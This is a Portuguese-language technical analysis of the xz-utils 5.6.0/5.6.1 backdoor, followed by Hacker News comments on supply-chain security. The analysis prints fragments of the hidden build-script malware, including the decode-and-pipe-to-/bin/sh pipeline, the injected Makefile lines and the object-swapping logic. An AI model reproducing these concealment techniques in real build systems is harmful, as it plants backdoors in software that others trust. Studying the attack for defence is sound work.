- O ataque ao xz se divide em injeção de código shell na fase de
configure e injeção de arquivo-objeto na fase de make, e esta análise acompanha como o script presente nos tarballs de distribuição do xz 5.6.0 e 5.6.1 insere um arquivo-objeto com backdoor na compilação
- O código malicioso e o arquivo-objeto foram ocultados comprimidos e criptografados como se fossem arquivos binários de entrada de teste em
tests/files, e a explicação já existente no README sobre “arquivos de teste feitos à mão” facilitou o disfarce
- O código adicionado em
m4/build-to-host.m4 localiza bad-3-corrupt_lzma2.xz, o restaura com tr e xz -d e depois o executa com /bin/sh; no 5.6.1 também foi incluído um mecanismo de extensão que procura scripts adicionais em um novo arquivo de teste
- O script
configure altera src/liblzma/Makefile e libtool para fazer com que o script oculto seja executado novamente durante o make, além de ajustar flags relacionadas a -z,now e PIC para que o resolver ifunc rode no momento da ligação dinâmica inicial
- Na fase de
make, ele extrai e descriptografa um objeto malicioso de good-large_compressed.lzma, depois substitui os artefatos de build de crc64_fast.c e crc32_fast.c para interceptar chamadas a RSA_public_decrypt via _get_cpuid
Estrutura geral do ataque
- Andres Freund informou a existência do ataque ao xz na lista de e-mails
oss-security@openwall, em 2024-03-29
- No dia anterior, também avisou a equipe de segurança do Debian e a lista privada
distros@openwall
- O gatilho foi observar sintomas anormais relacionados a
liblzma em uma instalação do Debian sid, como alto uso de CPU no login via SSH e erros do Valgrind
- O ataque é composto, em linhas gerais, por duas etapas
- Durante o
configure, é injetado código shell
- Esse código shell injeta mais código shell no
make e, durante o make, adiciona um arquivo-objeto malicioso à compilação
- Como armazenar diretamente um objeto malicioso no repositório, como
evil.o, levantaria suspeitas, o invasor escondeu o código shell e o arquivo-objeto comprimidos e criptografados dentro de arquivos binários de entrada de teste
- O diretório
tests/files já existia desde antes da chegada de Jia Tan, e o README explicava que os arquivos serviam para testar implementações dos decodificadores .xz, .lzma e .lz, sendo que alguns eram feitos manualmente em um editor hexadecimal porque “não há código-fonte melhor do que o próprio arquivo”
- O invasor se aproveitou desse contexto para parecer estar apenas adicionando alguns novos arquivos de teste
Ponto de execução visado pelo backdoor
- O efeito final do script é fazer com que a função
_get_cpuid do arquivo-objeto malicioso seja chamada como parte de um resolver GNU indirect function (ifunc)
- Um resolver ifunc normalmente pode ser chamado de forma adiada durante a execução do programa, mas por questões de segurança é comum que todos sejam chamados logo no início da ligação dinâmica, com GOT e PLT depois mapeadas como somente leitura
- O resolver ifunc malicioso consegue ser executado nesse momento inicial, quando GOT e PLT ainda estão graváveis
- O backdoor localiza
RSA_public_decrypt na tabela e o substitui pela versão do atacante
- A função substituída executa código do atacante quando um certificado SSH correto é apresentado
Fase de configure: disfarce em build-to-host.m4
- O xz-utils usa GNU autoconf e, normalmente,
configure e os arquivos m4 de apoio são incluídos no tarball de distribuição, não no repositório-fonte
- O ataque começa com a adição inesperada da biblioteca de suporte
m4/build-to-host.m4 nos tarballs do xz 5.6.0 e 5.6.1
- O
build-to-host.m4 malicioso inclui mudanças plausíveis em comparação com o arquivo padrão
- aumenta o serial de
3 para 30
- muda o ano de copyright de
2023 para 2023-2024
- adiciona algumas mudanças obscuras em shell e m4
- O núcleo real é um trecho que procura no pacote distribuído por um padrão específico com
grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/
- O arquivo que corresponde a esse padrão é
./tests/files/bad-3-corrupt_lzma2.xz
- Como resultado,
gl_am_configmake passa a apontar para esse arquivo de teste
gl_path_map é definido com tr "\t \-_" " \t_\-", trocando entre si tabulação e espaço, underscore e hífen
Restauração do primeiro script oculto
gl_[$1]_prefix extrai o elemento após o último ponto no nome do arquivo, resultando em xz
- O nome parece ser um prefixo, mas na prática é a extensão do arquivo
- Isso vira o nome de um comando de compressão que provavelmente já está instalado na máquina de build
- A string de comando formada depois parece, à primeira vista, usar
sed "r\n", mas na prática é mais próxima de um cat ofuscado
- O
r\n do sed tenta ler um arquivo inexistente chamado \n, então nada acontece
- Como não há
-n, a entrada é impressa como está
- O comando efetivamente executado tem esta forma
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
- Esse comando é avaliado durante a execução de
config.status por meio de AC_CONFIG_COMMANDS
- Na saída restaurada aparecem
####Hello#### e ####World####; segundo o README, o primeiro e o terceiro fluxos de bad-3-corrupt_lzma2.xz são fluxos xz válidos, e apenas o fluxo do meio tem dados LZMA2 corrompidos
Diferenças entre 5.6.0 e 5.6.1
- No xz 5.6.0, o primeiro script restaurado recorta um intervalo específico de bytes de
good-large_compressed.lzma, aplica transformações, descompacta como fluxo LZMA bruto e entrega o resultado para /bin/sh
- No xz 5.6.1, o primeiro script restaurado inclui cinco vezes uma linha que tenta encerrar a execução se não for Linux
[ ! $(uname) = "Linux" ] && exit 0
- Depois, o script longo que é alvo da análise também contém uma linha de verificação de Linux específica do 5.6.1
- Essa linha tem um bug porque não há espaços em torno de
=
- O 5.6.1 difere do 5.6.0 no número final de bytes do
head, no deslocamento do tail e nos argumentos do tr
- No exemplo, o 5.6.1 extrai
16×2048+939 = 33,707 bytes
- Depois usa
tail -c +31233 para ficar com os últimos 31.233 bytes
- O pipeline de extração é composto pelas etapas a seguir
- descompactar
good-large_compressed.lzma com xz -dc
- extrair um intervalo específico de bytes com um pipeline de
head
- selecionar a parte final com
tail
- aplicar uma cifra simples de substituição com
tr
- descompactar um fluxo LZMA bruto com
xz -F raw --lzma1 -dc
- executar o resultado com
/bin/sh
Mecanismo de extensão do 5.6.1
- O script longo contém vários pontos em que faz
eval de variáveis não definidas
- Ex.:
eval $zrKcVq, eval $zrKcSS
- Pode ser para saída de depuração ou para pontos de extensão onde valores seriam definidos por outros mecanismos no futuro
- Se
config.status existir, o script lê LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map e outros
- O código de extensão novo no 5.6.1 procura duas strings mágicas em
tests/files
- string inicial:
~!:_ W
- string final:
|_!{ -
- Se as duas strings estiverem no mesmo arquivo, ele extrai os bytes entre elas, passa por
tr e por descompactação raw LZMA2 e faz eval da saída
- Esse mecanismo parece ter sido criado para permitir a inclusão de novos scripts em outros arquivos de teste no futuro, sem precisar justificar a recriação de arquivos binários de teste já existentes
Condições de execução na fase de configure
- O script encerra silenciosamente se as condições necessárias para o backdoor não forem atendidas
- O suporte a GNU ifunc precisa estar ativo
config.status precisa conter ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"
config.h precisa conter define HAVE_FUNC_ATTRIBUTE_IFUNC 1
- A compilação de biblioteca compartilhada precisa estar habilitada
enable_shared precisa ser yes
- O alvo de build precisa ser Linux x86-64
build precisa satisfazer as condições ^x86_64 e linux-gnu$
- Os fontes relacionados ao ifunc de CRC precisam estar intactos
crc64_fast.c
crc32_fast.c
crc_x86_clmul.h
- Também há verificações de compilador e linker
GCC=yes
CC=gcc
- a saída de
LD -v precisa incluir GNU ld
- Os arquivos de teste que carregam o backdoor,
good-large_compressed.lzma e bad-3-corrupt_lzma2.xz, precisam estar presentes
Modificações em Makefile e libtool
- Se houver
debian/rules ou RPM_ARCH=x86_64, a fase de configure executa código que altera src/liblzma/Makefile
- Primeiro ele verifica se há várias linhas no Makefile que servirão depois como pontos de inserção
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
am__uninstall_files_from_dir = {
am__install_max =
am__vpath_adj_setup =
am__include = include
all: all-recursive
LTLIBRARIES = $(lib_LTLIBRARIES)
AM_V_CCLD = $(am__v_CCLD_$(V))
- Em
libtool, ele verifica se existe pic_flag=" -fPIC -DPIC"
- Depois usa
sed -i para espalhar pelo Makefile linhas com características como estas
am__test = bad-3-corrupt_lzma2.xz
am__strip_prefix = tr ...
am__dist_setup = ... | xz -d ... | $(SHELL)
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
am__test_dir parece, pelo nome, apontar para um diretório, mas na verdade aponta para um arquivo
- As linhas adicionadas não ficam agrupadas em um só lugar; elas são inseridas em vários pontos do Makefile para que o arquivo gerado pareça plausivelmente complexo
Flags do linker e execução recursiva
- O script da fase de
configure acrescenta -Wl,--sort-section=name,-X a liblzma_la_LDFLAGS
- Se
LDFLAGS ainda não tiver -z,now ou -z -Wl,now, ele também adiciona -z,now
-Wl,now faz o carregador dinâmico resolver todos os símbolos já no início do programa, forçando o comportamento de LD_BIND_NOW
- Nesse processo, o resolver ifunc é executado no startup
- O backdoor consegue rodar quando GOT e PLT ainda estão graváveis
- As flags PIC do
libtool passam a ser
- antes:
-fPIC -DPIC
- depois:
-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
- O script também adiciona
AM_V_CCLD e um longo trecho de shell ao Makefile
- No fim, ele executa
sed rpath $(am__test_dir) | $(am__dist_setup)
sed rpath também funciona como um cat ofuscado
- Como resultado, durante o
make o seguinte pipeline é executado novamente
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh
Fase de make: extração do arquivo-objeto
- Na fase de
make, o script é executado de novo dentro do diretório src/liblzma
- Como
config.status não está no diretório atual, a parte de edição do Makefile feita na fase de configure é ignorada
- Em vez disso, se
.libs/liblzma_la-crc64_fast.o e .libs/liblzma_la-crc32_fast.o existirem, ele conclui que está no meio do make e executa o código seguinte
- O 5.6.1 também adiciona um novo hook de extensão para a fase de
make
- string inicial:
jV!.^%
- string final:
%.R.1Z
- não há arquivo de teste com essas strings, então isso parece ser uma estrutura reservada para expansão futura
- Ele volta a verificar se os fontes ligados ao ifunc de CRC estão como esperado
- Também verifica se as flags de compilação e link adicionadas na fase de
configure foram aplicadas
../../libtool precisa conter as flags PIC adicionais
liblzma_la_LINK precisa conter -z,now ou -z -Wl,now
- se houver
lazy, ele encerra
Descriptografia e seleção do objeto malicioso
- O script escolhe um de dois valores de deslocamento com base no conteúdo de
gettext.m4
- Como o
gettext.m4 distribuído no tarball do xz não contém a string verificada, no build de exemplo ele usa toda a entrada
- Ele descompacta novamente
good-large_compressed.lzma e extrai 33.707 bytes com o pipeline de head definido anteriormente em i
- Essa saída é dividida em bytes individuais e um
awk executa uma função de descriptografia semelhante a RC4
- Na versão 5.6.1, o segundo loop vai até 8192
- Na versão 5.6.0, o loop correspondente vai até 4096
- A saída descriptografada é então descompactada mais uma vez com
xz -dc --single-stream
--single-stream faz a leitura parar no primeiro marcador de EOF do xz, evitando ler a área extraída anteriormente com tail
- O resultado final é gravado em
liblzma_la-crc64-fast.o
Substituição dos objetos CRC
- O script faz backup do artefato real de build
.libs/liblzma_la-crc64_fast.o com um nome muito parecido, .libs/liblzma_la-crc64-fast.o
- aproveitando a diferença entre underscore (
crc64_fast) e hífen (crc64-fast)
- Em seguida, ele compila uma versão de
crc64_fast.c modificada com sed e inclui junto o objeto malicioso extraído liblzma_la-crc64-fast.o, sobrescrevendo .libs/liblzma_la-crc64_fast.o
- O código C inserido cria uma nova
_is_arch_extension_supported, que por dentro chama _get_cpuid
- A função
crc64_resolve original passa a chamar _is_arch_extension_supported() no lugar de is_arch_extension_supported()
_get_cpuid é fornecida pelo arquivo-objeto do backdoor e executa ações extras antes de retornar informações de cpuid
- em especial, altera GOT e PLT para interceptar chamadas a
RSA_public_decrypt
Tratamento do lado crc32 e limpeza
- Se a modificação do
crc64 der certo, o script aplica mudanças semelhantes também em crc32_fast.c
- No lado
crc32, ele não adiciona o arquivo-objeto do backdoor
- para evitar inserir o mesmo objeto malicioso duas vezes no build
- Não está claro por que ele intercepta tanto o ifunc de
crc32 quanto o de crc64
- a análise sugere que apenas um deles já pareceria suficiente
- uma possibilidade é que isso ajude a fazer os dois caminhos de despacho parecerem semelhantes no depurador
- Se as duas compilações tiverem sucesso, ele relinka o arquivo
.la com liblzma_la_LINK
- Se o link funcionar, mas
.libs/liblzma.so não existir, isso é tratado como falha e os backups são restaurados
- Independentemente de sucesso ou falha, ele apaga
.libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai e .libs/liblzma.so*
- assumindo que a etapa normal de link do Makefile irá recriá-los depois
- No caminho de falha, os objetos
crc32 e crc64 salvos em backup voltam aos nomes originais
- No final, ele remove arquivos temporários e de backup, operando de forma a injetar o objeto malicioso nos artefatos do
make sem deixar rastros
1 comentários
Opiniões no Hacker News
Como alguém que detesta autotools há muito tempo, eu gostaria de dizer que este caso justifica minha posição, mas qualquer sistema de build complexo o bastante para dar suporte a múltiplas plataformas inevitavelmente se torna inescrutável o suficiente para alguém inserir algo assim
Ainda assim, é realmente um problema que tanto software seja compilado por meio de scripts de shell gigantescos, estilo cargo cult, que praticamente ninguém entende por completo
Se os scripts de build fossem escritos em Python, teria sido muito mais difícil ofuscar o backdoor. Todos teriam visto que era um código estranho. Código bash tende a ser considerado normal mesmo quando não dá para ler
./configure && make && make installA raiz da complexidade é a completa falta de boas práticas para esse fluxo; nessas condições, isso não pode ser resolvido com um único arquivo de configuração de build como
mybuild.tomlE também me pergunto por que é necessário um sistema complexo para compilar algo que, como uma biblioteca de compressão, essencialmente só precisa lidar com matemática e alocação de memória
Como desenvolvedor, é surpreendente, e o que aos meus olhos parece uma técnica de ataque de altíssimo nível talvez seja apenas de dificuldade iniciante a intermediária para quem trabalha nesse nível
Entre as coisas que aparecem no HN há exemplos em um patamar muito mais alto, então acho que, havendo dinheiro suficiente ou outros incentivos, isso é só o começo do que é possível. Pensando nos inúmeros pacotes no GitHub e nos milhões de bibliotecas, esse vetor é tão eficaz que tenho certeza de que centenas de casos semelhantes serão revelados nos próximos meses
Preocupam-me empresas de hardware para consumidores e prosumers, de Philips Hue a Alexa, SumUp, fabricantes de câmeras, Netgear e TP-Link. Seus produtos são cheios de bibliotecas open source, e tenho 100% de certeza de que a maioria das equipes de desenvolvimento não dedica tempo a procurar esses vetores de injeção furtivos
Uma organização comercial que se apresenta como confiável faz análise da cadeia de suprimentos antes de adotar dependências. É por isso que normalmente se paga à Red Hat para manter uma distribuição Linux estável, e por isso projetos como o FreeBSD restringem fortemente o software incluído na instalação padrão
Se você foi afetado por isso, é uma pena, mas a responsabilidade é sua. Se está preocupado que um desenvolvedor de software que você usa gratuitamente, como cerveja grátis, mude de atitude, então ofereça incentivos para que isso não aconteça — ou seja, pague —, ou faça um fork do projeto e acrescente suas próprias medidas de segurança
Se está preocupado com ataques à cadeia de suprimentos nas dependências de software comercial, deve negociar um contrato que inclua compensação por esses danos. Se não está disposto a fazer isso, não está sendo profissional
E, para deixar claro, estou falando seriamente que até as dependências mais básicas, como SSH, devem ter sua cadeia de suprimentos verificada
Os primeiros textos de infosec conseguiam explicar apenas parte do código, mas não a estratégia completa do ataque. Isso porque o ataque e o código eram sofisticados. As análises iniciais explicaram o ataque de formas diferentes porque não era algo simples de entender, e só depois surgiram textos dizendo algo como “finalmente parece ser um ataque de execução remota de código”
Agora que já existem até scanners para detectar a vulnerabilidade em servidores, todo mundo pode dizer “ah, aquilo era um ataque simples e idiota demais; por que não perceberam antes?”
Isso vale igualmente para todos os dispositivos. Também não gosto de o Android ter que usar kernels antigos, e não gostava quando o macOS rodava linhagens Darwin/BSD defasadas. Preocupa-me o esforço necessário para backporting
Claro que isso não significa que open source não tenha vulnerabilidades
Talvez devêssemos temer mais os backdoors invisíveis dentro de software proprietário, que quase nunca serão descobertos
Acho que o infográfico de Thomas Roccia ainda não foi mencionado aqui: https://twitter.com/fr0gger_/status/1774342248437813525
Por exemplo, o oss-fuzz estava compilando o xz clonando diretamente o repositório do GitHub. O backdoor estava apenas no tarball, não no repositório, então não havia chance de o oss-fuzz descobri-lo. Portanto, aquele PR do oss-fuzz pode muito bem ter sido uma mudança real, sem relação com o backdoor
Qual é a probabilidade de que houvesse outra conta ou pessoa nas proximidades de Andreas Freund que tenha ficado sabendo antes que o backdoor seria divulgado? Isso ainda me faz pensar na possibilidade de haver outros insiders por perto
.gitignore. Hoje em dia é difícil detectar esse tipo de coisaDo ponto de vista de um observador ingênuo, a parte mais chamativa é esta:
“Como muitos arquivos foram criados manualmente com um editor hexadecimal, não existe ‘código-fonte’ melhor do que os próprios arquivos.” Entendo que isso possa acontecer em bibliotecas de parsing como a liblzma. Para o atacante, deve ter parecido que ele estava apenas adicionando alguns novos arquivos de teste
Os arquivos em si são assustadores, mas dá para entender o motivo. Ainda assim, não daria para pelo menos separá-los do build?
“Normalmente, o script configure e as bibliotecas de suporte são adicionados apenas ao tarball de distribuição, não ao repositório de código-fonte. A distribuição do xz também funciona assim.”
Deixando de lado a indignação ritual contra o autotools, não entendo por que arquivos de teste precisam entrar no tarball. Testes maliciosos também poderiam infectar a máquina do desenvolvedor, mas se o tarball é para construir o artefato final, a política não deveria ser incluir apenas o necessário? Especialmente se os arquivos de teste forem blobs binários impossíveis de auditar
Mas, da última vez que fizemos isso, preferimos o Git upstream e geramos nós mesmos os artefatos necessários do autoconf. A ideia de um tarball de release contendo coisas que não estão no Git nunca me agradou
Deve ser possível compilar o código na máquina de destino e depois executar os testes
“A primeira diferença é que o script faz questão, com absoluta certeza, de encerrar se não estiver sendo executado no Linux.”
As verificações repetidas certamente são um mistério. Minha hipótese é que o atacante pode ter colocado a repetição para parecer plausível como entrada de teste de uma biblioteca de compressão
Ou talvez tenha sido apenas preguiça
Parece intencional, mas não sei por que está lá. Pensei que talvez tivessem sido adicionados para preencher tamanho, já que o xz poderia pular a compressão se a entrada fosse curta demais ou pouco complexa, mas, depois de removê-los e recomprimir com xz, a compressão funcionou corretamente e o texto original não permaneceu nos bytes do arquivo compactado
Uma coisa que descobri tentando reproduzir os bytes exatos do arquivo
.xzcommitado no Git é que o stream xz desse script não parece ter sido comprimido com o preset padrão do xz. Só consegui reproduzir usandoxz --lzma2=dict=65536 -c stream_2, e todos os presets numéricos padrão escolhiam um tamanho de dicionário diferente. Isso também parece intencional, mas não entendi o motivoSem a repetição, talvez surgisse dentro do arquivo compactado algum binário estranho que acionasse ferramentas de segurança ou antivírus
É tragicamente engraçado como a tecnologia moderna se tornou absurdamente complexa e desnecessariamente insondável, e isso só está piorando. Parece que os desenvolvedores apreciam isso de forma sádica
É bastante impressionante que as ferramentas consigam acompanhar o aumento da complexidade dos produtos que criamos. Sinceramente, na maioria dos casos as coisas estão apenas ficando mais simples, e isso se parece mais com pessoas que não querem aprender algo novo
Quem quer que tenha contratado essas pessoas para se infiltrar neste projeto deve ter investido uma quantidade enorme de tempo tentando fazer com que isso escapasse da detecção por muito tempo. Felizmente, era tão complexo que não conseguiram levar todos os fatores em conta
Por isso acho que, em termos de segurança, o open source sempre será melhor que o software fechado. Claro, este caso expôs uma enorme falha na cadeia de suprimentos e também mostrou como os componentes de base do FOSS são subestimados, deixando mantenedores vulneráveis à manipulação
Mas e se o mesmo ataque tivesse acontecido dentro de uma empresa privada? Talvez nem fosse necessária ofuscação avançada. Com um PR suficientemente grande e um prazo se aproximando, dá para enfiar algo assim sorrateiramente em sistemas de produção com esforço mínimo. Quando a empresa percebesse o que aconteceu, a pessoa já estaria voando para um país sem tratado de extradição, vendendo os dados vazados no Tor ou na dark web
Quando você é contratado por uma empresa privada, a empresa sabe quem você é. Isso por si só é um inibidor imediato contra comportamentos suspeitos. No GitHub, ninguém sabe quem você é. Pode ser mais difícil colocar um backdoor em um projeto sem ser pego, mas, se for pego, não há risco a assumir. Você pode continuar tentando quantas vezes quiser. Jia Tan ainda não foi preso, e nem precisou planejar a vida inteira para morar em um país sem tratado de extradição. A menos que já estivesse em um desses lugares
E, mesmo depois de entrar, você não pode simplesmente commitar à vontade no projeto-alvo. Seu gerente e o gerente dele têm outras prioridades. A gestão frequentemente disfuncional de empresas com fins lucrativos acaba funcionando aqui como um freio. Você não só precisa justificar o código em si, mas também explicar por que estava fazendo aquele trabalho para começo de conversa
Mesmo países com relações complicadas podem extraditar se isso for politicamente conveniente como parte de uma negociação. A Rússia provavelmente não teria mantido Snowden se ele não tivesse revelado segredos de Estado. Se fosse só um vazamento de dados comum, talvez o trocassem por algum oligarca preso em outro lugar por lavagem de dinheiro
Só montar a lista já seria útil
A lição deste caso talvez seja que não se deve permitir anonimato a contribuidores centrais de projetos open source importantes. Este ataque teve sucesso e o atacante provavelmente vai sair sem pagar preço algum, porque era anônimo
Uma medida dessas não ajudaria, e, para atores estatais ou ameaças persistentes avançadas semelhantes, seria fácil contorná-la acrescentando roubo de identidade a mais uma etapa do ataque, ou usando um agente que possa ser protegido mesmo se o backdoor for descoberto
Por outro lado, as barreiras técnicas necessárias para esse tipo de processo provavelmente causariam grande dano a toda a comunidade open source
A solução aqui é aprender com esse ataque e mudar para práticas que tornem ataques parecidos mais difíceis. Arquivos que não estão no repositório nunca devem entrar no tarball de release. Todo código gerado como resultado disso deve ser commitado, e os scripts de build devem regenerar o código derivado e falhar se ele diferir do código commitado. Dados difíceis de entender não devem estar acessíveis durante o processo de build de release, e testes que dependem de dados binários devem ser construídos de forma totalmente separada dos binários de release
Primeiro, muitos contribuidores importantes, especialmente na área de segurança, preferem atuar sob pseudônimo por motivos válidos. Forçar a divulgação da identidade os afastaria
Segundo, se uma agência de inteligência estiver por trás, como muita gente especula, essa agência consegue criar uma identidade “real” de qualquer forma. No fim, você exclui quem ajuda e não exclui os atacantes
Se um governo estiver envolvido, não há limites. A única saída seria exigir presença física em um local confiável, torcendo para que esse local não esteja sob a jurisdição do atacante
Se alguém cria uma biblioteca e outras pessoas começam a usá-la, essa pessoa será obrigada a revelar a identidade? O mantenedor recebe dinheiro?
Se você já trabalhou com desenvolvimento, seja fechado ou aberto, sabe que os desenvolvedores aprovam PRs meio que na preguiça em metade das vezes. Linus Torvalds é mais uma rara exceção, passando o dia apontando problemas
Se alguém é exigente o bastante para realmente prestar atenção com cuidado, essa pessoa facilmente passa a ser vista como um incômodo que atrapalha o desenvolvimento. Surgem tensões com a equipe porque ela “fica procurando pelo em ovo”
Para ser transparente, estou em uma situação parecida agora. Eu não sou o lado exigente; um dos desenvolvedores que contratei é. Infelizmente, a postura cuidadosa dele não foi bem avaliada, então tive de tirá-lo da equipe. O fato de ele ser do Leste Europeu e dar feedback de forma muito direta também não ajudou
Utilitários Unix vêm sendo testados há muito tempo. Eu gostaria que o kernel e os utilitários centrais fossem congelados e não fossem alterados. A menos que seja realmente necessário
Se não está quebrado, não conserte. O império do software parece estar fora de controle
De vez em quando há exemplos brilhantes de algo bem feito, mas, no geral, é mais correto dizer que essas coisas foram completamente soterradas